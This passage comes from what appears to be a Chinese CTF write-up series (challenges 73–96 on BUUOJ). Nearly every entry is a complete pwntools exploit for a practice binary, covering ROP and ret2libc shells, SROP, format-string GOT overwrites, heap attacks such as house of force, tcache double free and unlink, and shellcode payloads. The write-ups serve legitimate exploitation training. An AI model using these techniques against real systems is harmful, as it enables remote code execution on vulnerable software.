stack_addr=u64(p.recv(8))-280
log.success("stack: "+hex(stack_addr))
p.recv(8)
sigframe = SigreturnFrame()
sigframe.rax = 59 # execve
sigframe.rdi = stack_addr
sigframe.rsi = 0x0
sigframe.rdx = 0x0
sigframe.rip = syscall_ret
p.sendline("/bin/sh\x00"+"\x00"*8+p64(sigreturn)+p64(syscall_ret)+str(sigframe))
p.interactive()

73.picoctf_2018_shellcode

call eax应该就是漏洞点,这段汇编蛮简单的。

image-20220324230652209

挺好理解的,函数调用vuln后栈上这样子,然后ebp+8就是eax,加上后面会直接执行eax,此题又打开了nx,所以直接写入shellcode就行了。

1
2
3
4
5
esp

ebp
return address
eax address
1
2
3
4
5
6
7
8
from pwn import *
p=remote('node4.buuoj.cn',25271)
#p=process("./PicoCTF_2018_shellcode")
context.terminal = ['tmux','splitw','-h']
context(os='linux',arch='i386',log_level='debug')
payload=asm(shellcraft.sh())
p.sendline(payload)
p.interactive()

74.jarvisoj_level5

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *
p=remote('node4.buuoj.cn',28214)
#p=process("./PicoCTF_2018_shellcode")
context.terminal = ['tmux','splitw','-h']
context(os='linux',arch='amd64',log_level='debug')
elf=ELF("level3_x64")
libc=ELF("./libc-2.23.so")
pop_rdi=0x4006b3
pop_rsi_r15=0x4006b1
write_plt=elf.plt['write']
write_got=elf.got['write']
vuln=0x4005E6
payload=(0x80+8)*"a"+p64(pop_rdi)+p64(0)+p64(pop_rsi_r15)+p64(write_got)+p64(0)+p64(write_plt)+p64(vuln)
p.recvuntil("Input:\n")
p.sendline(payload)
write_addr=u64(p.recvuntil("\x7f")[-6:]+'\x00\x00')
libc_base=write_addr-libc.sym['write']
system=libc_base + libc.sym['system']
binsh=libc_base + libc.search('/bin/sh').next()
payload=(0x80+8)*"a"+p64(pop_rdi)+p64(binsh)+p64(system)
p.recvuntil("Input:\n")
p.sendline(payload)
p.interactive()

75.cmcc_pwnme2

strcpy没做检测,直接溢出。

image-20220325224113190

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *
from LibcSearcher import *
p=remote('node4.buuoj.cn',25272)
#p=process("./PicoCTF_2018_shellcode")
context.terminal = ['tmux','splitw','-h']
context(os='linux',arch='i386',log_level='debug')
elf=ELF("pwnme2")
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
main=elf.sym['main']
payload="a"*(0x6c+4)+p32(puts_plt)+p32(main)+p32(puts_got)
p.recvuntil("Please input:")
p.sendline(payload)
puts_addr=u32(p.recvuntil("\xf7")[-4:])
libc=LibcSearcher('puts',puts_addr)
libc_base=puts_addr-libc.dump('puts')
binsh=libc_base+libc.dump('str_bin_sh')
system=libc_base+libc.dump('system')
payload="a"*(0x6c+4)+p32(system)+p32(main)+p32(binsh)
p.recvuntil("Please input:")
p.sendline(payload)
p.interactive()

76.gyctf_2020_force

house of force

可以看到malloc没有限制,然后可以获得chunk的地址,最后可以写入0x50的空间。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from pwn import *
r = remote("node4.buuoj.cn", 27211)
#r = process("./gyctf_2020_force")
context.log_level = 'debug'
elf = ELF("./gyctf_2020_force")
libc = ELF('./libc-2.23.so')
one_gadget_16 = [0x45216,0x4526a,0xf02a4,0xf1147]

def add(size, content):
r.recvuntil("2:puts\n")
r.sendline('1')
r.recvuntil("size\n")
r.sendline(str(size))
r.recvuntil("bin addr ")
addr = int(r.recvuntil('\n').strip(), 16)
r.recvuntil("content\n")
r.send(content)
return addr
libc.address = add(0x200000, 'chunk0\n') + 0x200ff0
success('libc_base'+hex(libc.address))

heap_addr = add(0x18, 'a'*0x10+p64(0)+p64(0xFFFFFFFFFFFFFFFF))
success("heap_addr:"+hex(heap_addr))

top = heap_addr + 0x10
#gdb.attach(r)

malloc_hook = libc.sym['__malloc_hook']
success("malloc_hook"+hex(malloc_hook))
one_gadget = one_gadget_16[1] + libc.address
realloc = libc.sym["__libc_realloc"]
system = libc.sym['system']
success("system:" + hex(system))
bin_sh = libc.search('/bin/sh').next()
success("bin_sh" + hex(bin_sh))
offset = malloc_hook - top

add(offset-0x30, 'aaa\n')
add(0x10, 'a'*8+p64(one_gadget)+p64(realloc+0x10))

r.recvuntil("2:puts\n")
r.sendline('1')
r.recvuntil("size\n")
r.sendline(str(20))

r.interactive()

77.houseoforange_hitcon_2016(未完)

image-20220329200359201

image-20220329200434092

image-20220329200516329

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
```



# 78.picoctf_2018_got_shell

```python
#-- coding:UTF-8 --
from pwn import *
from LibcSearcher import *
context.terminal = ['tmux','splitw','-h']
p=remote("node4.buuoj.cn",29417)
elf=ELF("./PicoCTF_2018_got-shell")
puts_got=elf.got['puts']
backdoor=0x804854B
p.recvuntil("value?\n")
p.sendline(hex(puts_got))
p.recv()
p.sendline(hex(backdoor))
p.interactive()

79.picoctf_2018_can_you_gets_me

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from pwn import *
from struct import pack
# 一个很弱智的点,但是我要说一下,因为我卡了一早上
# 就是这个from struct import pack必须放在from pwn import *下面
# 不然会报错
r=remote("node4.buuoj.cn",29079)
p = 'A'*(0x18+4)
p += pack('<I', 0x0806f02a) # pop edx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080b81c6) # pop eax ; ret
p += '/bin'
p += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806f02a) # pop edx ; ret
p += pack('<I', 0x080ea064) # @ .data + 4
p += pack('<I', 0x080b81c6) # pop eax ; ret
p += '//sh'
p += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806f02a) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x08049303) # xor eax, eax ; ret
p += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080481c9) # pop ebx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080de955) # pop ecx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x0806f02a) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x08049303) # xor eax, eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0806cc25) # int 0x80
r.recvuntil("GIVE ME YOUR NAME!\n")
r.sendline(p)
r.interactive()

80.wdb_2018_2nd_easyfmt

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *
from LibcSearcher import *
context.terminal = ['tmux','splitw','-h']
p=remote("node4.buuoj.cn",25859)
libc = ELF("libc-2.23-32.so")
elf=ELF("./wdb_2018_2nd_easyfmt")
printf_got=elf.got['printf']
p.recvuntil("Do you know repeater?\n")
p.sendline(p32(printf_got)+"%6$s")
printf_addr = u32(p.recvuntil("\xf7")[-4:])
success(hex(printf_addr))
libc_base=printf_addr-libc.sym['printf']
system=libc_base+libc.sym['system']
payload = fmtstr_payload(6, {printf_got:system})
p.sendline(payload)
p.sendline("/bin/sh\x00")
p.interactive()

81.npuctf_2020_easyheap

第一次做tcache attack,其实和fastbin attack没啥区别

然后本题用了off by one,本题只让输入0x18和0x38个字节,就off by one制作堆重叠。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
from pwn import *

#context.log_level = 'debug'

p=remote("node4.buuoj.cn",25223)
elf = ELF("./npuctf_2020_easyheap")
libc = ELF("./libc-2.27-64.so")
def add(size,content):
p.recvuntil('Your choice :')
p.sendline('1')
p.recvuntil(" : ")
p.sendline(str(size))
p.recvuntil("Content:")
p.sendline(content)

def fill(idx,content):
p.recvuntil('Your choice :')
p.sendline('2')
p.recvuntil('Index :')
p.sendline(str(idx))
p.recvuntil('Content:')
p.sendline(content)

def dump(idx):
p.recvuntil('Your choice :')
p.sendline('3')
p.recvuntil('Index :')
p.sendline(str(idx))

def free(idx):
p.recvuntil('Your choice :')
p.sendline('4')
p.recvuntil('Index :')
p.sendline(str(idx))
# 0x18 0x38
heaparray=0x6020A0
atoi_got=elf.got['atoi']
add(0x18,"aaa")
add(0x18,"aaa")
payload="a"*0x18+p8(0x41)
fill(0,payload)
free(1)
payload="a"*0x18+p64(0x21)+p64(0x18)+p64(atoi_got)
add(0x38,payload)
dump(1)
atoi=u64(p.recvuntil("\x7f")[-6:]+'\x00\x00')
base=atoi-libc.sym['atoi']
system=base+libc.sym['system']
fill(1,p64(system))
p.recvuntil('Your choice :')
p.sendline('/bin/sh\x00')
p.interactive()

82.ciscn_2019_final_3

2.27的tcache用unsorted bin泄漏时需要有一个size大于0x400。这道题限制最大只可以0x78,并且最多只能写0x18的chunk,所以我们可以考虑写满7个tcache bin,然后再写就会进入unsorted bin(但是本题只允许0x78,所以就算满了也只会加入fastbin)。或者使用tcache dup和uaf改值这两种方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
from pwn import *
context.terminal = ['tmux','splitw','-h']
file_name = './ciscn_final_3'
r=remote('node4.buuoj.cn', 28474)
#r=process(file_name)
elf = ELF(file_name)
libc = ELF('./libc-2.27-64.so')

menu = 'choice > '
def add(index, size, content):
r.sendlineafter(menu, '1')
r.sendlineafter('input the index', str(index))
r.sendlineafter('input the size', str(size))
r.sendlineafter('now you can write something', content)

def delete(index):
r.sendlineafter(menu, '2')
r.sendlineafter('input the index', str(index))
add(0,0x78,'a')#0
# 首先创建一个0x78,之后改成0x421,unsortedbin泄漏地址
r.recvuntil('gift :')
heap_addr = int(r.recvline()[2:],16)
success('heap_addr = ' + hex(heap_addr))
add(1,0x18,'b')#1
# 这个用来读取泄漏的地址

for i in range(2, 12):
add(i, 0x78, 'aaaa')

add(12, 0x28, 'd')#12

delete(12)
delete(12)
#gdb.attach(r,"b *$rebase(0xF76)")

add(13, 0x28, p64(heap_addr - 0x10))
add(14, 0x28, p64(heap_addr - 0x10))
add(15, 0x28, p64(0) + p64(0x421))
delete(0)
delete(1)

add(16, 0x78, 'aaaa')
# chunk0,此时unsorted bin变成了chunk1
add(17, 0x10, 'bbbb')
# chunk1 此时的fd指针指向了malloc hook附近的地址
add(18, 0x10, 'cccc')
# 获取malloc hook附近的地址

r.recvuntil('gift :')
malloc_hook = int(r.recvline()[2:],16) - 96 - 0x10
success('malloc_hook = ' + hex(malloc_hook))

libc_base = malloc_hook - libc.sym['__malloc_hook']
free_hook = libc_base + libc.sym['__free_hook']
one = [0x4f2c5, 0x4f322, 0x10a38c]
one_gadget = one[1] + libc_base

delete(7)
delete(7)

add(19, 0x78, p64(free_hook))
add(20, 0x78, 'aaaa')
add(21, 0x78, p64(one_gadget))
# double free+uaf修改地址
delete(9)

r.interactive()

83.actf_2019_babystack

栈迁移

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
#-- coding:UTF-8 --
from pwn import *
from LibcSearcher import *
context.terminal = ['tmux','splitw','-h']
p=remote("node4.buuoj.cn",27919)
libc=ELF("libc-2.27-64.so")
#p=process("./ACTF_2019_babystack")
elf=ELF("./ACTF_2019_babystack")
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
pop_rdi=0x400ad3
p.recvuntil(">")
p.sendline("224")
leave_ret=0x400A18
p.recvuntil("be saved at ")
stack=int(p.recv(14), 16)
payload="a"*8+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(0x4008F6)
payload = payload.ljust(0xD0, 'a')
payload=payload+p64(stack)+p64(leave_ret)
p.send(payload) # sendline会把换行符也发送,这样会多一个
p.recvuntil('Byebye~\n')
puts_addr = u64(p.recvuntil("\x7f").ljust(8,"\x00"))
success(hex(puts_addr))
base=puts_addr-libc.sym['puts']
system=libc.sym['system']+base
binsh=libc.search('/bin/sh').next()+base
sleep(4)
one_gadget = base + 0x4f2c5

p.recvuntil(">")
p.sendline("224")
p.recvuntil("be saved at ")
stack=int(p.recv(14), 16)
#payload="a"*8+p64(one_gadget)+p64(binsh)+p64(system)+p64(0x4008F6)
ret=0x400a4f # 因为ubuntu18的栈对齐
payload="a"*8+p64(ret)+p64(pop_rdi)+p64(binsh)+p64(system)+p64(0x4008F6)
payload=payload.ljust(0xD0, 'a')
payload=payload+p64(stack)+p64(leave_ret)
p.recvuntil(">")
p.send(payload)
p.interactive()

84.mrctf2020_easy_equation

格式化字符串

首先先写个python算一下judge的值

1
2
3
4
for judge in range(0,1000):
if ( 11 * judge * judge + 17 * judge * judge * judge * judge - 13 * judge * judge * judge - 7 * judge == 198 ):
print judge
#judge=2

偏移是第八个

image-20220413215516514

需要在前面补一个值

1
2
3
4
5
6
from pwn import *
p = remote("node4.buuoj.cn",28975)
judge = 0x060105C
payload = "BB%9$nAAA"+p64(judge)
p.sendline(payload)
p.interactive()

85.picoctf_2018_leak_me

这道题开始不能反汇编main函数,直接快捷键g跳转到有问题的函数处,先反汇编该函数,然后就可以反汇编main了。

image-20220413222129177

可以看到密码和我们输入的name是放在一起的,所以只要填充完v6,我们能顺势把s的密码也输出来。

image-20220413222053905

1
2
3
4
5
6
7
8
9
#-- coding:UTF-8 --
from pwn import *
context.terminal = ['tmux','splitw','-h']
p=remote("node4.buuoj.cn",28150)
p.recvuntil("name?")
p.sendline("a")
p.recvuntil("Password.")
p.sendline("a_reAllY_s3cuRe_p4s$word_f85406")
p.interactive()

86.suctf_2018_basic pwn

1
2
3
4
5
6
7
8
#-- coding:UTF-8 --
from pwn import *
context.terminal = ['tmux','splitw','-h']
p=remote("node4.buuoj.cn",28071)
backdoor=0x401157
payload="a"*(0x110+0x8)+p64(backdoor)
p.sendline(payload)
p.interactive()

87.mrctf2020_shellcode_revenge

输入的长度大于0则跳转到到11AC

image-20220414163319945

这里中转了一下,其实还是直接跳转到11B8

image-20220414165726867

image-20220414165825830

可以发现输入的ascii值大于0x30就不会被过滤

image-20220414181101030

最后全部过滤完了就直接执行,所以我们需要可视化的shellcode。

image-20220414183033395

1
2
3
4
5
6
from pwn import *
context.arch='amd64'
shellcode = asm(shellcraft.sh())
f = open('a.bin', 'wb')
f.write(shellcode)
f.close()
1
python ALPHA3.py x64 ascii mixedcase rax --input='./a.bin'
1
2
3
4
5
6
7
8
#-- coding:UTF-8 --
from pwn import *
context.terminal = ['tmux','splitw','-h']
p=remote("node4.buuoj.cn",29803)
p.recvuntil("Show me your magic!")
payload="Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t"
p.send(payload) # 注意这里不能是sendline,因为会有多余的换行符
p.interactive()

88.inndy_echo

1
2
3
4
5
6
7
8
9
from pwn import *
p=remote("node4.buuoj.cn",29685)
printf=0x804A010
system=0x8048400
payload = fmtstr_payload(7, {printf:system})
# 第一个是偏移,第二个是got表,第三个是plt表
p.sendline(payload)
p.sendline('/bin/sh\x00')
p.interactive()

89.wustctf2020_name_your_cat

v3是溢出点

1
2
3
4
5
6
7
8
9
from pwn import *
p=remote("node4.buuoj.cn",27456)
shell=0x80485CB
p.sendline('7')
p.sendline(p32(shell))
for i in range(4):
p.sendline('1')
p.sendline('aaa')
p.interactive()

90.ciscn_2019_es_1

call函数就是free函数,可以看到存在uaf

show函数

add函数,分配两个chunk,第一个*((_DWORD *)heap_addr[heap_number] + 2) = size存放size,*v1 = malloc((unsigned int)size)存放第二个chunk的地址,第二个chunk存放name。

考虑unsorted bin attack泄漏libc,先使用大于0x400的chunk填满tcache bin,然后直接常规利用即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
#-- coding:UTF-8 --
from pwn import *
p=remote("node4.buuoj.cn",26106)
context.terminal = ['tmux','splitw','-h']
elf = ELF("./ciscn_2019_es_1")
libc = ELF("./libc-2.27-64.so")
def add(size,content,content2):
p.recvuntil("choice:")
p.sendline(str(1))
p.recvuntil("name\n")
p.sendline(str(size))
p.recvuntil("name:\n")
p.sendline(content)
p.recvuntil("call:\n")
p.sendline(content2)
def show(idx):
p.recvuntil("choice:")
p.sendline(str(2))
p.recvuntil("index:\n")
p.sendline(str(idx))
def free(idx):
p.recvuntil("choice:")
p.sendline(str(3))
p.recvuntil("index:\n")
p.sendline(str(idx))
add(0x410,"a","a")
add(0x20,"a","a")
add(0x20,"/bin/sh\x00","a")
free(0)
show(0)
main_arena = u64(p.recvuntil("\x7f")[-6:]+'\x00\x00')
malloc_hook=main_arena-96-0x10
libc_base=malloc_hook-libc.sym['__malloc_hook']
system=libc_base+libc.sym['system']
free_hook=libc_base +libc.sym['__free_hook']
free(1)
free(1)
add(0x20,p64(free_hook),"a")
add(0x20,p64(free_hook),"a")
add(0x20,p64(system),"a")
free(2)
p.interactive()

91.cmcc_pwnme1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *
from LibcSearcher import *
p=remote("node4.buuoj.cn",26840)
elf=ELF("pwnme1")
p.sendline("5")
puts_got=elf.got['puts']
puts_plt=elf.plt['puts']
payload="a"*(0xA4+4)+p32(puts_plt)+p32(0x80486F4)+p32(puts_got)
p.sendline(payload)
puts= u32(p.recvuntil('\xf7')[-4:])
success("puts: "+hex(puts))
libc=LibcSearcher('puts',puts)
libc_base=puts-libc.dump('puts')
binsh=libc_base+libc.dump('str_bin_sh')
system=libc_base+libc.dump('system')
payload="a"*(0xA4+4)+p32(system)+p32(0x8048677)+p32(binsh)
p.recvuntil("Exit")
p.sendline("5")
p.sendline(payload)
p.interactive()

92.axb_2019_brop64

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *
from LibcSearcher import *
p=remote("node4.buuoj.cn",29185)
elf=ELF("./axb_2019_brop64")
puts_got=elf.got['puts']
puts_plt=elf.plt['puts']
p.recvuntil("Please tell me:")
pop_rdi=0x400963
payload="a"*(0xD0+8)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(0x4007D6)
p.sendline(payload)
puts_addr=u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
libc = LibcSearcher("puts",puts_addr)
libc_base = puts_addr-libc.dump("puts")
system_addr = libc_base+libc.dump("system")
binsh=libc_base+libc.dump('str_bin_sh')
payload="a"*(0xD0+8)+p64(pop_rdi)+p64(binsh)+p64(system_addr)+p64(0x4007D6)
p.recvuntil("Please tell me:")
p.sendline(payload)
p.interactive()

93.[极客大挑战 2019]Not Bad

沙箱orw,利用jmp rsp方式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#-- coding:UTF-8 --
from pwn import *
context.arch='amd64'
p=remote("node4.buuoj.cn",29392)
addr=0x123000
shell=shellcraft.open("./flag")
shell+=shellcraft.read(3,addr+0x100,0x50)
shell+=shellcraft.write(1,addr+0x100,0x50)
shell=asm(shell)
# shellcode 0x50大小,栈中放不下
payload=asm(shellcraft.read(0,addr,0x100))+asm("mov rax,0x123000;jmp rax")
jmp_rsp=0x400a01
payload=payload.ljust(0x28,'\x00')
payload+=p64(jmp_rsp)+asm('sub rsp,0x30;jmp rsp')
p.sendline(payload)
p.sendline(shell)
p.interactive()

94.wdb2018_guess

stack smashing

image-20220728154826801

存在canary的报错提示,__stack_chk_fail函数会打印argv[0]指针指向的字符串。我们只要通过栈溢出覆盖argv[0],就能输出任意信息。

image-20220728154425294

同时第六行的aaa\n是我写的flag内容,但是不知道地址不能直接读取,但是我们可以通过泄漏libc获取__environ函数得到偏移。

argv[0]与我们输入的偏移是0x128,我们先通过泄漏libc,然后获取__environ函数获得偏移,最后泄漏flag地址。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#-- coding:UTF-8 --
from pwn import *
context.arch='amd64'
libc = ELF("./libc-2.23-64.so")
elf=("./GUESS")
p=remote("node4.buuoj.cn",28410)
read_got=0x602040
payload="a"*0x128+p64(read_got)
p.recvuntil("guessing flag\n")
p.sendline(payload)
read = u64(p.recvuntil("\x7f")[-6:]+'\x00\x00')
base = read-libc.sym['read']
system = base+libc.sym['system']
environ = base+libc.sym['__environ']
p.recvuntil("guessing flag\n")
payload="a"*0x128+p64(environ)
p.sendline(payload)
stack=u64(p.recvuntil("\x7f")[-6:]+'\x00\x00')
info("0x"+hex(stack))
p.recvuntil("guessing flag\n")
payload="a"*0x128+p64(stack-0x168)
p.sendline(payload)
p.recv()
p.interactive()

95.gyctf_2020_some_thing_exceting

double free && uaf

这个题要注意的点是本题同时add/free2个chunk

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
from pwn import *
p=remote("node4.buuoj.cn",26032)
elf = ELF("./gyctf_2020_some_thing_exceting")
libc = ELF("./libc-2.23-64.so")
def add(len,index,len2,index2):
p.recvuntil(":")
p.sendline("1")
p.recvuntil(": ")
p.sendline(str(len))
p.recvuntil(": ")
p.sendline(index)
p.recvuntil(": ")
p.sendline(str(len2))
p.recvuntil(": ")
p.sendline(index2)
def free(idx):
p.recvuntil(":")
p.sendline("3")
p.recvuntil(": ")
p.sendline(str(idx))
def show(idx):
p.recvuntil(":")
p.sendline("4")
p.recvuntil(": ")
p.sendline(str(idx))

flag=0x6020A8-0x10
# 0x6020A0的值为0x60正好构成了堆头
add(0x50,'vvvv',0x50,'vvvv')
add(0x50,'vvvv',0x50,'vvvv')
free(0)
free(1)
free(0)
add(0x50,p64(flag),0x50,'AAA')
add(0x50,'v',0x50,'v')
add(0x50,'v',0x60,'v')
show(0)
p.interactive()

96.axb_2019_heap

banner处存在格式化字符串,测试后发现偏移在第七个

image-20220812102145794.png

gdb调试可以看见__libc_start_main+240的偏移和main的偏移分别是15和19

image-20220812110638068

1
2
3
4
5
6
7
8
9
p.recvuntil("Enter your name: ")
p.sendline("%15$p.%19$p")
main240=int(p.recvuntil(".")[-13:-1],16)
main=int(p.recvuntil("\n")[-13:],16)
success(hex(main240))
success(hex(main))

libc_base=main240-libc.sym['libc_start_main']-240
base=main-0x116a

获取程序基地址之后可以考虑使用unlink了,因为存在note全局数组,然后free处清理的很干净不存在uaf

在edit处存在off by one漏洞

image-20220812114150219

最终利用就是格式化字符串泄漏地址+off by one+unlink

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
#-- coding:UTF-8 --
from pwn import *
p=remote("node4.buuoj.cn",27203)
context.terminal = ['tmux','splitw','-h']
#p=process("./axb_2019_heap")
elf = ELF("./axb_2019_heap")
libc = ELF("./libc-2.23-64.so")
def add(idx,len,index):
p.recvuntil(">> ")
p.sendline("1")
p.recvuntil(":")
p.sendline(str(idx))
p.recvuntil("Enter a size:\n")
p.sendline(str(len))
p.recvuntil("Enter the content: \n")
p.sendline(index)
def free(idx):
p.recvuntil(">> ")
p.sendline("2")
p.recvuntil("Enter an index:\n")
p.sendline(str(idx))
def edit(idx,index):
p.recvuntil(">> ")
p.sendline("4")
p.recvuntil("Enter an index:\n")
p.sendline(str(idx))
p.recvuntil("Enter the content: \n")
p.sendline(index)
p.recvuntil("Enter your name: ")
p.sendline("%15$p.%19$p")
main240=int(p.recvuntil(".")[-13:-1],16)
main=int(p.recvuntil("\n")[-13:],16)
success(hex(main240))
success(hex(main))
libc_base=main240-libc.sym['__libc_start_main']-240
base=main-0x116a
system=libc_base+libc.sym["system"]
free_hook=libc_base+libc.sym["__free_hook"]

gdb.attach(p,"b *$rebase(0x119A)")
add(0,0x98,"aaaa")
add(1,0x90,"bbbb")
note=base+0x202060
fd=note-0x18
bk=note-0x10

payload=p64(0)+p64(0x90)
# 好久没做pwn我都忘记了,这个地方0x90,因为你写在fd和bk的位置
# 所以不是原先头的位置,可以自己gdb调试一下
payload+=p64(fd)+p64(bk)
payload+="a"*0x70
payload+=p64(0x90)+"\xa0"
edit(0,payload)
free(1)
payload=p64(0)*3+p64(free_hook)
payload+=p64(0x98)+p64(note+0x18)+"/bin/sh\x00"
edit(0,payload)
payload=p64(system)
edit(0,payload)
free(1)
p.interactive()